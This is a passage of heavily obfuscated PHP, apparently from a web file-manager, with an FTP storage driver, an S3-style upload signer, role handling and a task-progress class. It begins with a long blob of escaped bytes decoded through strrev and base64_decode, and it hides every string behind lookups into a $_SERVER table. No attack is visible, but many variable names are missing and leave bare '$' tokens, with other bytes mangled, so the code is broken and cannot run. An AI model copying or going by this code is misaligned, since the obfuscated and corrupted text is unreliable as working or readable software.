80\x34\x30\x42\x73\x83\x3a\xb4\x61\x3a\xcf\x9c\xc8\x9\x70\xc2\xe4\xc0\x6a\xed\xf\x8c\x95\x50\x25\xb5\xfb\x85".strrev('Wo{1xQaT"9iK䵍\' V&u\'"u#Cp')."\203\332\371\362\244\202\23\341\107\53\310\264\262\364\161\35\16\174\143\5\43\245\104\242\53\303\301\100\244\43\34\137\245\144\165\133\21\152\52\344\51\17\347\122\46\42\144\72\360"."\xc\xab\x93\xfc\xbd\x9\x1c\xf4\x26\xd1\x9\xc2\x9b\xe6\xa7\x2c\x4b\x9c\xa7\xa4\x7\xd4\xa5\x17\xb9\x9c\xd5\x52\xfc\xd3\xcb\x55\x35\x16\xb1\x65\x4e\xbe\xaa\xc\x16\x8c\xd7\xc8\x9d\x17\x62\x60\x29"."\x73\xa9\xac\x57\xe7\x9f\xd0\xb1\x9e\x94\xd4\x62\xa9\x40\xa5\x46\x6b\x20\x7f\xed\x2f\x90\xb7\x40\xe4\xdc\x88\x11\xd2\x8b\x53\x35\xde\x28\x8e\x1a\x96\x21\x16\x3e\x2b\x31\x21\xd7\x1e\xe8\xe8\xe\xf7".strrev('^ JUw;%p7{zLFfeߖ\\(^ֺ$H')."\70\320\250\364\212\122\251\254\31\226\56\1\350\23\77\263\301\20\106\313\347\35\157\42\346\63\122\264\342\334\131\153\176\112\245\37\140\60\311\253\140\255\14\261\360\312\256\304\377"."\272\251\106\132\170\364\62\322\114\137\206\333\55\322\267\35\202\362\373\231\354\233\125\57\105\175\352\233\123\36\161\363\247\22\77\107\354\161\73\223\34\217\200\167\247\260\160\124\245".base64_decode('Ln/EJxB3Up4oyVev/rSfDzENYMeFIXbfhyPioIKzQ234c/T4ik7lWILIjjRMGofoBA==')."\x8c\xb3\x43\xf5\xc0\xf5\x7a\x96\x5b\xb9\xd6\xf1\x36\x56\xd5\x37\xc8\xab\xd\x34\x8d\xdc\x4b\xa1\x9c\x83\xa2\x73\x28\xc6\x5f\x69\x11\x45\xdd\x29\x35\x1a\x80\x92\x15\x21\xe3\xe2\x19\x94\x36\xa5\x89"."\76\344\306\137\340\120\226\62\53\154\361\1\342\136\54\124\50\331\216\243\175\227\254\141\57\315\15\5\20\116\107\34\237\260\376\227\131\230\250\2\70\4\133\21\326\56\256\13\211".base64_decode('3x8pZkx5/AhBxuYS9MFFKkPwoKODblc/1kSL/38pSBPjkj9JZyXVDbLcW51gu/A7VA==').base64_decode('OXPM+QojhrhfnnK8OSUtGmIsLL+S5SzkqXoHRiEP6CoI1WEWsYcpdiYlmaVPz6I/Aw==').base64_decode('8Mu2M3cjKKGCTzZypArmjHy6zLWcBKBbF4IDUgor+mjsoWDyQl0Ho8nw9Eyt58iw2w==')."\100\347\13\72\342\141\42\261\167\72\37\152\341\167\365\226\130\14\226\355\170\32\50\141\46\264\254\207\162\144\230\252\211\130\373\204\34\226\365\163\111\57\120\42\23\356\245\371\174"."\x2f\x93\x32\xb0\x27\xfe\xd2\x1e\xf2\xe2\x1c\x25\x75\xee\xb7\x6d\xa4\x95\xc6\xe9\xa7\x5c\x3a\x9b\x37\x93\x5a\x3e\x46\xf5\x0\x1d\xc6\x35\x65\x74\x9a\xd2\xd9\x1e\xe0\xc8\x46\x41\x7e\xad\x54\x12\x57"."\x19\xf2\x96\x89\xfe\x77\x18\x35\x42\x5a\x5f\xa2\x4b\x25\xa6\xf9\x2a\x55\x3e\x88\xb\x9c\x93\x2e\x12\x29\x10\x2e\x15\x2b\xc5\x30\xbd\x52\x71\x40\xcb\xd2\x39\x4f\xf6\xc4\x4a\xaf\x59\x84\x19\x1d\x64".base64_decode('R+3spZesMGBylezim4vIO6UH5f3VF+VYwxEoCnmoWiiKELN5+SAGGZSlikANx0LGqA==')._kodDe('MKZy6E8NlAKP0SD37Nc+E8spZsSeOCHhAj23jHV1zwoIiQXaqTJMu9aNppnjkGwrfjU=')."\xc8\x96\xe\xbc\x45\x58\xe3\x81\xc1\x29\xdf\x27\xf4\x8\x8b\xc9\x4f\x7a\x9d\x49\xd8\xf5\x39\xdf\x9f\xc6\xfd\xe0\xac\x1\x3f\x37\x54\x1d\x3d\xdc\xa7\xe\x3e\xac\xae\x2\x31\xf7\x20\x27\xcc\x6a\x79".base64_decode('sVAlcLyeKPUaSFv1C4zSMEj9rpTzHqJV4WHu+Wo+4uh4K8o9oTWegfzUCkH9mhy60g==')."\116\252\327\272\64\131\146\67\316\356\154\206\3\167\325\262\56\154\176\250\307\325\252\15\142\175\41\335\62\167\376\142\131\270\41\246\120\334\303\62\337\376\364\7\270\25\201\24\212"."\23\15\25\346\346\125\136\375\44\321\251\111\137\375\176\250\153\7\370\337\55\30\161\172\240\131\45\75\365\352\227\226\253\106\200\340\251\244\326\45\155\210\56\375\35\23\253\324\130"."\142\325\321\55\120\274\23\352\374\26\145\37\152\364\103\332\367\304\142\241\157\76\232\171\174\306\56\140\131\276\135\326\234\7\312\132\347\46\62\22\354\220\146\220\367\322\165\167\333"."\xc9\xc0\x80\x34\x45\x24\x4b\x7\x2b\xb9\x46\xdb\x74\x8b\x82\x70\x71\xbc\x2f\x12\xb1\x66\xb4\x98\x87\x6d\x1b\xdb\x88\x8b\xd5\x26\x51\xa2\xff\xc5\x4\xb2\x33\x12\x3d\x4e\x9\xd5\x2e\xdc\x7d\xc7\xd1"."\332\71\12\376\25\214\314\324\170\337\123\322\152\371\204\76\120\116\217\237\15\275\232\355\225\220\123\22\45\352\166\224\114\66\220\13\161\204\165\366\333\125\75\52\46\352\30\364\50".strrev('>R:;e^KcAp db'."\0".'щ1G@gfeS')."\252\253\226\36\203\24\22\42\42\122\202\36\301\342\46\312\17\244\231\201\225\334\374\122\223\364\364\234\142\53\74\324\322\23\276\246\34\26\123\200\267\200\50\363\117\213\276\356\70"."\166\242\170\207\353\261\147\102\256\334\57\100\263\41\42\64\102\220\77\311\212\327\161\306\341\317\341\71\316\74\226\373\115\114\304\371\311\376\246\121\324\375\132\60\320\111\142\252\103"."\277\46\355\264\142\123\25\241\236\112\101\104\44\131\57\71\136\361\104\207\261\63\166\223\345\42\11\314\204\332\162\275\210\113\275\377\322\60\73\5\374\377\176\16\362\377\326\53\220"."\363\233\230\124\336\361\110\364\112\340\305\31\373\67\51\171\33\247\22\141\127\77\234\273\351\64\300\42\376\72\272\24\347\312\335\314\125\32\363\240\246\261\233\61\55\237\227\366\334".base64_decode('2qeXqqd4EfIN83dda0XcpoDuZ3n72Qv25MXdwVoZBRnih6QaeExBjDeW3mY3UsM1rg==')."\xb9\x89\x72\xab\xd3\x5b\xb7\xc4\x8b\x54\x65\x13\x6d\x40\x2c\xb\xf3\x41\xe7\x67\xa1\x14\x3e\x1d\x12\xc7\x10\x30\x7a\xb2\xd\x6f\xb4\xc4\xce\x91\x8d\x40\xf4\x7\x57\x30\xe2\x44\x1c\x6\x0\x8d\x92"."\xe9\x92\x3\x54\x45\xcd\x12\x8e\x39\x71\x0\xe5\xe1\x86\x39\xc4\x56\xd0\x6c\x3a\x1d\x25\xba\x5d\xcf\x8f\xd2\x4c\x96\x3c\xb6\xe\x49\x7e\xb5\xd6\x43\x75\x69\x4e\x7\xe4\x22\x58\xa7\xde\x29\xdc\xe2"."\x2f\xc7\x37\xb9\x9f\x92\x6f\xf6\xba\xaa\xe3\x2f\xb0\x3a\x71\xdd\xf1\x24\x28\xd5\x14\x41\xb\x24\x86\x25\x1e\x4c\x86\x45\x2e\x83\xc8\xad\xb0\xb7\xba\xc\xc5\xeb\xb8\xc8\x33\xc5\xca\xaa\xbd\xbe\x79".base64_decode('o4RAD4fk8WB0ordsEr7QCeVSIEnNWXoBvYrVo+BZvqpNipFMx0xh1TreEMMkXv9Z0Q==')."\276\356\6\142\324\5\210\216\16\47\235\246\100\31\351\71\162\274\60\205\233\114\254\324\115\344\221\62\37\300\114\52\45\63\5\0\71\244\206\226\374\300\212\263\44\66\74\161\56".strrev('>V"]$ck!'."\n".'ȁ~ $玦) { if ($玦[$ɑ[2107]] == 1) { $ɚ[$][$ɑ[496]] = LNG($ɑ[2347]); } } } return $ɚ; } public function update($ҧ, $蘍ۇ) { $ɒ =& $_SERVER[砐]; $ʨ = parent::listData($ҧ); $ڴ쫾 = $this->findByName($蘍ۇ[$ɒ[32]]); if (!$ʨ || $ڴ쫾 && $ڴ쫾[$ɒ[445]] != $ʨ[$ɒ[445]]) { return !1; } if ($ڴ쫾[$ɒ[2107]] == 1) { $蘍ۇ = array($ɒ[32] => $蘍ۇ[$ɒ[32]], $ɒ[1927] => $蘍ۇ[$ɒ[1927]]); } $this->filterAuth($蘍ۇ[$ɒ[457]]); return parent::update($ҧ, $蘍ۇ); } public function remove($暆) { $ = parent::listData($暆); if (!$ || $[$_SERVER[砐][181]]) { return !1; } return parent::remove($暆); } public function add($蟑ٍ) { $ڒ =& $_SERVER[砐]; $ = $蟑ٍ[$ڒ[32]]; if ($this->findByName($)) { return !1; } $ = array($ڒ[464] => $, $ڒ[1910] => $ڒ[12], $ڒ[1906] => $ڒ[1914], $ڒ[2348] => 1, $ڒ[1909] => 0, $ڒ[2349] => 0, $ڒ[1908] => $this->getSort()); $蟑ٍ = array_merge($, $蟑ٍ); $this->filterAuth($蟑ٍ[$ڒ[457]]); return parent::insert($蟑ٍ); } private function getSort() { $瑷 =& $_SERVER[砐]; $ = parent::listData(); $ = array_to_keyvalue($, $瑷[12], $瑷[1928]); return empty($) ? 0 : max($) + 1; } private function filterAuth(&$) { $ =& $_SERVER[砐]; $ا = array(); $俏ԯ = array_filter(explode($[50], $)); foreach ($俏ԯ as $) { $ᧈ = explode($[10], $); if ($ᧈ[0] == $[2350] && $ᧈ[1] != $[1241]) { $գş = $ᧈ[0] . $[10] . $ᧈ[1] . $[2351]; if (!in_array($գş, $俏ԯ)) { $ا[] = $գş; } } $ا[] = $; } $ = implode($[50], $ا); } public function findRoleDefault() { $ȯ =& $_SERVER[砐]; $ = parent::listData(); $Ԕ = !1; foreach ($ as $) { if (!$ || $[$ȯ[1926]] == $ȯ[214] || $[$ȯ[2107]] == 1) { continue; } if (strstr($[$ȯ[457]], $ȯ[2352])) { continue; } if (!strstr($[$ȯ[457]], $ȯ[2353])) { continue; } if (!$Ԕ) { $Ԕ = $; continue; } $ = explode($ȯ[50], $Ԕ[$ȯ[457]]); $ֺ = explode($ȯ[50], $[$ȯ[457]]); if (count($) > count($ֺ)) { $Ԕ = $; } } return $Ԕ ? $Ԕ[$ȯ[445]] : $ȯ[12]; } public function sort($, $) { return parent::update($, $); } } goto AȐ; f: class PathDriverEDS extends PathDriverMinIO { public function __construct($Ԥ) { parent::__construct($Ԥ); } } class PathDriverEOS extends PathDriverBaseS3 { public function __construct($) { parent::__construct($); $this->signatureVersion($_SERVER[砐][233]); } public function uploadFormData($کʵ, $̂ = 3600) { $ =& $_SERVER[砐]; $щɡ = $[215]; $ϗ = $[255]; $ = $[62]; $̈́ = gmdate($[256]); $ = gmdate($[257]); $ķ = $[258]; $ = $̂ . $[12]; $Ĵ = $[259]; $ = array($this->accessKey, $, $this->region, $, $ķ); $ = implode($[8], $); $ = array($[260] => gmdate($[1376], strtotime($[262])), $[263] => array(array($[264] => $this->bucket), array($[265] => $щɡ), array($[266], $[267], $[12]), array($[266], $[268], $[12]), array($[266], $[269], $[12]), array($[270] => $Ĵ), array($[271] => $), array($[272] => $ϗ), array($[273] => $̈́), array($[274] => $))); $ = base64_encode(json_encode($)); $ = hash_hmac($[275], $, $[276] . $this->secret, !0); $俁 = hash_hmac($[275], $this->region, $, !0); $ӛ = hash_hmac($[275], $, $俁, !0); $ = hash_hmac($[275], $ķ, $ӛ, !0); $ = hash_hmac($[275], $, $); $֝ = array($[232] => $[12], $[277] => $[12], $[265] => $щɡ, $[270] => $Ĵ, $[278] => $, $[279] => $, $[280] => $ϗ, $[281] => $̈́, $[282] => $, $[283] => $, $[198] => $this->getHost()); return $֝; } } class PathDriverFTP extends PathDriverBase { private $server = ''; private $username = ''; private $userpass = ''; private $scheme = ''; private $host = ''; private $port = 21; private $connect = false; private $pasv = "\61"; public $config = array(); public function __construct($߳) { parent::__construct(); if (count($߳) > 0) { $this->_init($߳); } } public function __destruct() { if (!$this->_isconn()) { return !1; } return @ftp_close($this->connect); } private function charsetReset($Ƿ) { $̚ =& $_SERVER[砐]; global $config; $this->appCharset = $config[$̚[1402]]; $this->systemCharset = $config[$̚[1403]]; if (isset($Ƿ[$̚[1404]]) && $Ƿ[$̚[1404]]) { $this->systemCharset = $Ƿ[$̚[1404]]; } } public function iconvApp($) { return $this->iconvTo($, $this->systemCharset, $this->appCharset); } public function iconvSystem($ɤ) { return $this->iconvTo($ɤ, $this->appCharset, $this->systemCharset); } public function getPathOuter($ܦ) { $߫ =& $_SERVER[砐]; $ = $this->iconvApp($this->pathBase); $ܦ = $this->iconvApp($ܦ); if (substr($, 0, 2) == $߫[1405]) { $ = BASIC_PATH . substr($, 2); } if (substr($ܦ, 0, 2) == $߫[1405]) { $ܦ = BASIC_PATH . substr($ܦ, 2); } $ = KodIO::clear($); $ܦ = KodIO::clear($ܦ); $ܦ = substr($ܦ, strlen($)); if (empty($this->pathDriver)) { return $ܦ; } return $this->pathDriver . $߫[8] . ltrim($ܦ, $߫[8]); } private function _init($ߤ = array()) { $ص =& $_SERVER[砐]; if (!function_exists($ص[1406])) { throw new Exception(LNG($ص[1407])); } $this->config = $ߤ; $this->charsetReset($ߤ); foreach ($ߤ as $ѝ => $) { if (isset($this->{$ѝ})) { $this->{$ѝ} = $; } } return $this->_login($ߤ); } private function _login($Ա) { $ӯ =& $_SERVER[砐]; static $Ŕ = array(); $Ơ = md5(json_encode($Ա)); if (isset($Ŕ[$Ơ])) { foreach ($Ŕ[$Ơ] as $ => $炪) { $this->{$} = $炪; } return !0; } $ = parse_url(trim($this->server, $ӯ[8])); $this->host = $[$ӯ[198]]; $ = isset($[$ӯ[197]]) && $[$ӯ[197]] == $ӯ[1408] ? !0 : !1; $this->scheme = $ ? $ӯ[1409] : $ӯ[1410]; $this->port = isset($[$ӯ[199]]) ? $[$ӯ[199]] : 21; $this->connect = @ftp_connect($this->host, $this->port, 5); if ($this->connect === !1) { return !1; } $ = @ftp_login($this->connect, $this->username, $this->userpass); @ftp_set_option($this->connect, FTP_USEPASVADDRESS, !1); $㏅ = $this->pasv == $ӯ[90] ? !0 : !1; @ftp_pasv($this->connect, $㏅); $Ŕ[$Ơ] = array($ӯ[1411] => $this->connect, $ӯ[198] => $this->host, $ӯ[197] => $this->scheme, $ӯ[199] => $this->port); return $; } private function _isconn() { if (is_resource($this->connect)) { return !0; } return $this->_login($this->config); } public function mkfile($㶚, $Ý = '', $ = REPEAT_RENAME) { if ($this->setContent($㶚, $Ý)) { return $this->getPathOuter($㶚); } return !1; } public function mkdir($݅, $􋧶 = REPEAT_SKIP) { if (!$this->_isconn()) { return !1; } $݅ = $this->iconvSystem($݅); if ($this->_isFolder($݅) || @ftp_mkdir($this->connect, $݅)) { return $this->getPathOuter($݅); } if (!$this->mkdir($this->pathFather($݅))) { return !1; } if ($݅ = @ftp_mkdir($this->connect, $݅)) { return $this->getPathOuter($݅); } return !1; } public function copyFile($, $䞭) { if (!$this->_isconn()) { return !1; } $Ԛ = $this->pathThis($this->iconvSystem($)); $ = $this->tempFile($Ԛ); $쏗޽ = $this->iconvApp($); $this->download($, $쏗޽); $ = $this->upload($䞭, $쏗޽); $this->tempFileRemve($); return $; } public function moveFile($, $) { if (!$this->_isconn()) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ē = @ftp_rename($this->connect, $, $); return $ē ? $this->getPathOuter($) : !1; } public function delFile($ގ) { if (!$this->_isconn()) { return !1; } $ގ = $this->iconvSystem($ގ); return @ftp_delete($this->connect, $ގ); } public function delFolder($۹̢) { if (!$this->_isconn()) { return !1; } $this->listItemCache = !1; $ܱ = $伒 = array(); $this->fileList($۹̢, $ܱ, $伒, !0); $this->listItemCache = !0; foreach ($伒 as $) { $¸ = $this->iconvSystem($[$_SERVER[砐][32]]); $ӄ = @ftp_delete($this->connect, $¸); if (!$ӄ) { return !1; } } foreach ($ܱ as $¸) { $¸ = $this->iconvSystem($¸); $ӄ = @ftp_rmdir($this->connect, $¸); if (!$ӄ) { return !1; } } $۹̢ = $this->iconvSystem($۹̢); return @ftp_rmdir($this->connect, $۹̢); } public function rename($, $) { $ =& $_SERVER[砐]; if (!$this->_isconn()) { return !1; } $ҩ = $this->fileNameAuto($this->pathFather($), $); $ҩ = $this->iconvSystem($ҩ); $ = $this->iconvSystem($); $Ң = $this->pathFather($); $ƛߛ = rtrim($Ң, $[8]) . $[8] . $ҩ; $טߍ = @ftp_rename($this->connect, $, $ƛߛ); $ƛߛ = $this->iconvApp($ƛߛ); return $טߍ ? $this->getPathOuter($ƛߛ) : !1; } private function folderInfo($˝, $ = false) { $骧а =& $_SERVER[砐]; $ = array($骧а[32] => $this->pathThis($˝), $骧а[86] => $this->getPathOuter($骧а[8] . $˝), $骧а[33] => $骧а[77]); if ($) { return $; } $[$骧а[217]] = $[$骧а[87]] = 0; $[$骧а[218]] = $[$骧а[219]] = !0; return $; } private function fileInfo($ͯ, $䅴 = false, $ = array()) { $ô =& $_SERVER[砐]; $ = array($ô[32] => $this->pathThis($ͯ), $ô[86] => $this->getPathOuter($ô[8] . $ͯ), $ô[33] => $ô[216], $ô[78] => isset($[$ô[78]]) ? $[$ô[78]] : 0, $ô[177] => $this->ext($ͯ)); if ($䅴) { return $; } $[$ô[217]] = $[$ô[87]] = 0; $[$ô[218]] = $[$ô[219]] = !0; $ͩ = $this->iconvSystem($ͯ); $[$ô[87]] = @ftp_mdtm($this->connect, $ͩ); if (empty($)) { $ = $this->objectMeta($ͯ); if (!$) { return $; } } $[$ô[78]] = $[$ô[78]]; return $; } public function size($) { $ = $this->objectMeta($); return $ ? $[$_SERVER[砐][78]] : 0; } public function info($) { if ($this->isFile($)) { return $this->fileInfo($, 0); } else { if ($this->isFolder($)) { return $this->folderInfo($); } } return !1; } private function fileList($, &$, &$, $ݷ = false) { $讋 =& $_SERVER[砐]; $ = $this->iconvSystem($); if (!$this->isFolder($)) { return !1; } @ftp_chdir($this->connect, $讋[8]); $ = rtrim($, $讋[8]) . $讋[8]; check_abort(); $ӿޞ = @ftp_rawlist($this->connect, $); if (!$ӿޞ) { $ӿޞ = array(); } $Յ = array($讋[10] => 1, $讋[1329] => 1); foreach ($ӿޞ as $䜵) { $ = $this->_listItem($䜵); if ($[0] == $讋[803]) { continue; } $ = $[8]; if (empty($) && $ !== $讋[214] || isset($Յ[$])) { continue; } $ = $this->iconvApp($ . ltrim($, $讋[8])); $ = array($讋[32] => $, $讋[33] => $讋[216], $讋[78] => $[4]); if (substr($䜵, 0, 1) == $讋[1412]) { $[$讋[33]] = $讋[77]; $[$讋[78]] = 0; } $ = $[$讋[33]] == $讋[77] ? !0 : !1; $this->cacheMethodInfoSet($, $, $); if ($) { $[] = $; if ($ݷ) { $this->fileList($, $, $, $ݷ); } continue; } $[] = $; } $this->cacheMethodInfoSet($, !0); } private function _listItem($ҏ) { if (empty($ҏ)) { return array(); } $ = preg_split($_SERVER[砐][1413], $ҏ); if (count($) <= 9) { return $; } $[8] = trim(substr($ҏ, strpos($ҏ, $[7]) + strlen($[7]))); return array_splice($, 0, 9); } public function listPath($Ó, $ = false) { $◛ݱ =& $_SERVER[砐]; if (!$this->_isconn()) { return !1; } $޽ڙ = $֧ = array(); $this->fileList($Ó, $޽ڙ, $֧); foreach ($޽ڙ as $ƪ => $϶ȏ) { $޽ڙ[$ƪ] = $this->folderInfo($϶ȏ, $); } foreach ($֧ as $ƪ => $϶ȏ) { $֧[$ƪ] = $this->fileInfo($϶ȏ[$◛ݱ[32]], $, $϶ȏ); } return array($◛ݱ[84] => $޽ڙ, $◛ݱ[85] => $֧); } public function has($ϐ, $ܼ = false, $׃ = true) { $Ҍ٥ =& $_SERVER[砐]; $׊ʋ = $Վմ = array(); $Lj韉 = $ܼ ? !0 : !1; $this->fileList($ϐ, $׊ʋ, $Վմ, $Lj韉); if ($ܼ) { return array($Ҍ٥[225] => count($Վմ), $Ҍ٥[226] => count($׊ʋ)); } if ($׃) { if (count($Վմ)) { return !0; } } else { if (count($׊ʋ)) { return !0; } } return !1; } public function listAll($) { $NJ =& $_SERVER[砐]; if (!$this->_isconn()) { return !1; } $ = $ݳ = array(); $this->fileList($, $, $ݳ, !0); $ = array_to_keyvalue($ݳ, $NJ[32]); foreach ($ as $޸ɷ) { if (is_string($޸ɷ)) { $[$޸ɷ] = array($NJ[78] => 0); } } return $this->listAllFiles($, $); } public function getContent($×ߪ) { if (!$this->_isconn()) { return !1; } $×ߪ = $this->iconvSystem($×ߪ); return $this->fileSubstr($×ߪ); } public function setContent($늵, $۞Ì = '') { if (!$this->_isconn()) { return !1; } $ = $this->pathThis($this->iconvSystem($늵)); $䞺 = $this->tempFile($); file_put_contents($䞺, $۞Ì); $֢ = $this->upload($늵, $this->iconvApp($䞺)); $this->tempFileRemve($䞺); return $֢; } public function fileSubstr($, $ = 0, $̾ = false) { if (!$this->_isconn()) { return !1; } return $this->ftpRequest($, $, $̾); } private function ftpRequest($, $ = 0, $ɨ = false) { $ = $this->iconvSystem($); $ԅ = $this->scheme . $this->host . $_SERVER[砐][4] . $this->port; $߅ = curl_init(); curl_setopt($߅, CURLOPT_URL, $ԅ . $this->pathEncode($)); curl_setopt($߅, CURLOPT_USERPWD, "{$this->username}\72{$this->userpass}"); if ($ɨ) { $ֶ = $ + $ɨ - 1; curl_setopt($߅, CURLOPT_RANGE, "{$}\x2d{$ֶ}"); } curl_setopt($߅, CURLOPT_RETURNTRANSFER, 1); $̜ = curl_exec($߅); curl_close($߅); return $̜; } public function upload($, $, $ᷚ = false, $ = REPEAT_REPLACE) { if (!$this->_isconn()) { return !1; } if (!$this->mkdir($this->pathFather($))) { return !1; } $ = $this->iconvSystem($); $ = $this->iconvSystem($); $ = ftp_nb_put($this->connect, $, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->getPathOuter($); } public function download($, $̅ = '') { if (!$this->_isconn()) { return !1; } $ч = $this->pathFather($̅); if (!IO::mkdir($ч)) { return !1; } $ = $this->iconvSystem($); $̅ = $this->iconvSystem($̅); $ = ftp_nb_get($this->connect, $̅, $, FTP_BINARY); while ($ == FTP_MOREDATA) { $ = ftp_nb_continue($this->connect); } if ($ != FTP_FINISHED) { return !1; } return $this->iconvApp($̅); } public function exist($) { return $this->isFile($) || $this->isFolder($); } public function isFile($ד) { return !$this->isFolder($ד) && $this->objectMeta($ד); } public function isFolder($) { return $this->cacheMethod($_SERVER[砐][168], $); } protected function objectMeta($) { return $this->cacheMethod($_SERVER[砐][170], $); } protected function _objectMeta($Ⱝ) { $ν =& $_SERVER[砐]; if ($Ⱝ == $ν[12] || $Ⱝ == $ν[8]) { return array(); } if (!$this->_isconn()) { return !1; } $Ⱝ = $this->iconvSystem($Ⱝ); $֭ = array($ν[32] => $this->iconvApp($Ⱝ), $ν[33] => $ν[216], $ν[78] => 0); @ftp_chdir($this->connect, $ν[8]); $Σ܍ = @ftp_size($this->connect, $Ⱝ); if ($Σ܍ != -1) { $֭[$ν[78]] = $Σ܍; } else { $ = @ftp_chdir($this->connect, $Ⱝ); if (!$) { return !1; } $֭[$ν[33]] = $ν[77]; } return $֭; } protected function _isFolder($) { $ =& $_SERVER[砐]; if ($ == $[12] || $ == $[8]) { return !0; } $ӽ = $this->_objectMeta($); return isset($ӽ[$[33]]) && $ӽ[$[33]] == $[77] ? !0 : !1; } } goto E; C: class Task { const STATYS_STOP = "\x73\164\x6f\x70"; const STATYS_RUNNING = "\x72\165\x6e\156\151\x6e\x67"; const STATYS_KILL = "\153\151\x6c\x6c"; public $task; private $isEnd = false; public function __destruct() { $this->end(); } public function __construct($, $ = '', $Ϗ = 0, $ = '') { $엇 =& $_SERVER[砐]; if (self::get($)) { return; } $this->task = array($엇[445] => $, $엇[1705] => USER_ID, $엇[1593] => $, $엇[496] => $엇[12], $엇[33] => $, $엇[1115] => $엇[12], $엇[831] => $Ϗ, $엇[1706] => 0, $엇[1707] => 0, $엇[1708] => 0, $엇[1709] => timeFloat(), $엇[1710] => 0, $엇[1711] => 0, $엇[1712] => 0, $엇[1713] => 0, $엇[795] => $엇[1655]); $GLOBALS[$엇[1714]] = 1; Hook::bind($엇[1659], array($this, $엇[1715])); Hook::bind($엇[1716], array($this, $엇[1717])); $this->startAfter(); Hook::trigger($엇[1718], $this->task); $this->task[$엇[1711]] = timeFloat(); } public function end($ = '') { $Ő =& $_SERVER[砐]; if (!$this->task || $this->isEnd) { return; } if ($this->task[$Ő[1711]]) { self::valueSet($this->task[$Ő[445]], !1); } $this->isEnd = !0; if ($) { $this->task[$Ő[496]] = $; } self::log($Ő[1719] . $this->task[$Ő[445]] . $Ő[1720] . sprintf($Ő[896], timeFloat() - $this->task[$Ő[1709]]) . $Ő[1721]); Hook::unbind($Ő[1659], array($this, $Ő[1715])); Hook::unbind($Ő[1716], array($this, $Ő[1717])); $this->endAfter(); $ = $this->task; $this->task = !1; Hook::trigger($Ő[1722], $); } public function update($ڂ = 0, $˥ˢ = false) { $↑ =& $_SERVER[砐]; $춡ɍ =& $this->task; if (!$춡ɍ) { return; } $춡ɍ[$↑[1706]] += $ڂ; $춡ɍ[$↑[1710]] = timeFloat(); if ($춡ɍ[$↑[831]]) { if ($춡ɍ[$↑[831]] < $춡ɍ[$↑[1706]]) { $춡ɍ[$↑[831]] = $춡ɍ[$↑[1706]]; } $ҹ = timeFloat() - $춡ɍ[$↑[1709]] - $춡ɍ[$↑[1712]]; if ($ҹ <= 0) { $ҹ = 0.001; } $춡ɍ[$↑[1707]] = $춡ɍ[$↑[1706]] / $춡ɍ[$↑[831]]; $춡ɍ[$↑[1708]] = $춡ɍ[$↑[1706]] / $ҹ; if ($춡ɍ[$↑[1707]] > 0) { $춡ɍ[$↑[1713]] = $ҹ * (1 - $춡ɍ[$↑[1707]]) / $춡ɍ[$↑[1707]]; } $춡ɍ[$↑[1713]] = $춡ɍ[$↑[1713]] <= 0 ? 0 : $춡ɍ[$↑[1713]]; } $this->updateAfter(); $ = 0.2; if (timeFloat() - $춡ɍ[$↑[1711]] < $ && !$˥ˢ) { return; } $ = self::get($춡ɍ[$↑[445]]); $ŵ = $[$↑[795]]; if ($ŵ == self::STATYS_KILL) { $ԛ = array($↑[1723] => LNG($↑[1724]), $↑[1263] => !1); Cache::set($↑[1725] . $this->task[$↑[445]], $ԛ, 30); $this->onKill(); $this->end(); die; } else { if ($ŵ == self::STATYS_STOP) { $ۡ = 2; $[$↑[1712]] += $ۡ; self::valueSet($춡ɍ[$↑[445]], $); sleep($ۡ); $this->update(); return; } } $춡ɍ[$↑[795]] = $ŵ ? $ŵ : $춡ɍ[$↑[795]]; $춡ɍ[$↑[1712]] = $[$↑[1712]] ? $[$↑[1712]] : 0; $춡ɍ[$↑[1711]] = timeFloat(); Hook::trigger($↑[1726], $춡ɍ); self::valueSet($춡ɍ[$↑[445]], $춡ɍ); } public function onKillSet($ǡ, $ = array()) { $this->onKillCall = array($ǡ, $); } public function onKill() { $߆ =& $_SERVER[砐]; self::log($߆[1719] . $this->task[$߆[445]] . $߆[1727]); Hook::trigger($߆[1728], $this->task); if (!$this->onKillCall) { return; } ActionApply($this->onKillCall[0], $this->onKillCall[1]); $this->onKillCall = !1; $this->task = !1; } protected function updateAfter() { } protected function startAfter() { } protected function endAfter() { } public function shutdownEvent() { $this->end(); } public function showJson($) { $ =& $_SERVER[砐]; Cache::set($[1725] . $this->task[$[445]], $, 60); return $; } public static function get($ȗ) { $ۅ =& $_SERVER[砐]; $ = self::valueGet($ȗ); if (is_array($) && $[$ۅ[1729]]) { $ڻѡ = ActionApply($[$ۅ[1729]], array($)); $ = is_array($ڻѡ) ? $ڻѡ : $; } return $; } public static function listData() { $ = self::valueGet(); return array_sort_by($, $_SERVER[砐][1709], !0); } public static function kill($) { return self::changeStatus($, self::STATYS_KILL); } public static function stop($ʿŤ) { return self::changeStatus($ʿŤ, self::STATYS_STOP); } public static function restart($) { return self::changeStatus($, self::STATYS_RUNNING); } public static function killAll() { $ڑ =& $_SERVER[砐]; $ = self::listData(); foreach ($ as $ʬ) { self::kill($ʬ[$ڑ[445]]); } sleep(2); foreach ($ as $ʬ) { self::valueSet($ʬ[$ڑ[445]], !1); } } private static function changeStatus($֝, $) { $Ѡ =& $_SERVER[砐]; $ԥԼ = self::valueGet($֝); if (!$ԥԼ) { return !1; } $ԥԼ[$Ѡ[795]] = $; self::valueSet($֝, $ԥԼ); self::log($Ѡ[1730] . $ԥԼ[$Ѡ[445]] . $Ѡ[1731] . $); return !0; } public static function valueGet($ؙ = false) { $ =& $_SERVER[砐]; if ($ؙ) { $؏ = Model($[490])->where(array($[96] => $ؙ, $[33] => $[1122]))->find(); return $؏ ? json_decode($؏[$[420]], !0) : !1; } return self::taskListUser(USER_ID); } public static function taskListUser($צ = false) { $ =& $_SERVER[砐]; $ = array($[33] => $[1122]); if ($צ) { $[$[1705]] = $צ; } $Džث = Model($[490])->where($)->select(); $Džث = $Džث ? $Džث : array(); foreach ($Džث as $ˇ䡪 => $՚ݰ) { $Džث[$ˇ䡪] = json_decode($՚ݰ[$[420]], !0); } return $Džث; } public static function valueSet($ڎ, $ؚ؈) { $ =& $_SERVER[砐]; if (!$ؚ؈) { return Model($[490])->where(array($[96] => $ڎ, $[33] => $[1122]))->delete(); } $ = json_encode($ؚ؈); if (!$) { ob_start(); var_dump($ؚ؈); $ = ob_get_clean(); self::log($[1732] . json_encode_force($)); } if 